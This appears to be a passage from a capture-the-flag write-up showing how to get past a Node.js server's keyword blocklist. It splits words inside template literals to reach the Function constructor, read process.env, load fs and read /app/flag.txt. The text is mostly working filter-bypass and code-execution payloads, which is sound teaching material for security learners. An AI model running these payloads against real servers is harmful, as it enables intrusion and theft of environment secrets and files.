Server-Side Filtering#

Testing revealed the server blocks certain keywords:

• process, constructor, require
• global, globalThis, Function
• __proto__

However, string concatenation inside template literals can bypass keyword detection.

Step 1: Bypass constructor filter#

Using template literal concatenation to access the Function constructor:

1
``[`const`+`ructor`][`const`+`ructor`](`return 1`)()

This chain:

1. `` - empty string
2. [`const`+`ructor`] - accesses String.prototype.constructor
3. [`const`+`ructor`] again - accesses Function constructor
4. (`return 1`)() - creates and executes a function

Step 2: Bypass process filter#

Inside the Function constructor body, we can split the process keyword:

1
``[`const`+`ructor`][`const`+`ructor`](`var p=p`+`rocess;return p.env`)()

Step 3: Load fs module and read flag#

Using process.mainModule.constructor._load() to dynamically load the fs module:

1
``[`const`+`ructor`][`const`+`ructor`](`
2
  var p=p`+`rocess;
3
  var m=p.mainModule.con`+`structor;
4
  var fs=m._load(\`fs\`);
5
  return fs.readdirSync(\`/app\`)
6
`)()

This revealed: ["Public","file.txt","flag.txt","node_modules","package-lock.json","package.json","server.js"]

Step 4: Read the flag#

1
``[`const`+`ructor`][`const`+`ructor`](`
2
  var p=p`+`rocess;
3
  var m=p.mainModule.con`+`structor;
4
  var fs=m._load(\`fs\`);
5
  return fs.readFileSync(\`/app/flag.txt\`,\`utf8\`)
6
`)()